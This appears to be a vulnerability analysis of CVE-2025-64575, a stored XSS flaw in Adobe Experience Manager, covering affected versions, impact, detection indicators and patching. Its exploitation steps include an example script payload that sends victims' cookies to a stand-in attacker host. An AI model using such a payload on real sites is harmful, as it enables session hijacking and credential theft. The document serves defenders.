CVE-2025-64575: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64575 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was disclosed on December 9, 2025, with Adobe publishing the advisory (APSB25-115) and NVD publishing on December 10, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM, which is then stored and later executed in the browser of any victim who visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the affected page) and network access, but no elevated privileges beyond a standard low-privileged account. The attack vector is network-based with low attack complexity (Adobe Advisory).

Successful exploitation allows an attacker to execute malicious JavaScript in the context of a victim's browser session within AEM, potentially leading to session hijacking, credential theft, unauthorized actions on behalf of the victim, and limited data exfiltration. The vulnerability has a changed scope, meaning the impact can extend beyond the vulnerable component to affect other application components or users. Confidentiality and integrity are both assessed as low impact, with no direct availability impact (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using network scanning or web fingerprinting techniques.
2. Authentication: Obtain or use a low-privileged AEM user account (e.g., a content author or contributor account).
3. Identify vulnerable form fields: Navigate to AEM pages or components that contain form fields susceptible to stored XSS — typically rich text editors, metadata fields, or custom form components.
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger execution: When a victim (e.g., an administrator or another user) browses to the page containing the injected field, the malicious script executes in their browser context, enabling session hijacking, credential theft, or further attacks (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /crx/, /editor.html) containing encoded script tags or JavaScript event handlers from low-privileged accounts.
• File System / Repository: Unexpected JavaScript payloads stored in AEM JCR repository nodes, particularly in text or metadata properties of content pages.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages; unusual cookie or session data transmitted to external endpoints.
• Process/Browser: Unexpected redirects or pop-ups when browsing AEM content pages; browser developer tools showing script execution from stored content fields.

Adobe has released patches addressing CVE-2025-64575 as part of security bulletin APSB25-115. Users should upgrade AEM on-premises to version 6.5.24.0 or later, and AEM Cloud Service to the 2025.12.0 release or later. No specific configuration-based workaround has been published; upgrading to the patched version is the recommended remediation. Organizations should also review AEM user permissions to limit who can author or publish content as a defense-in-depth measure (Adobe Advisory).

The Center for Internet Security (CIS) published an advisory noting multiple vulnerabilities in Adobe products, including this CVE, recommending prompt patching (CIS Advisory). Tenable added detection support via Nessus plugin 278346 shortly after disclosure. No significant independent researcher commentary or notable social media discussion has been identified for this specific CVE.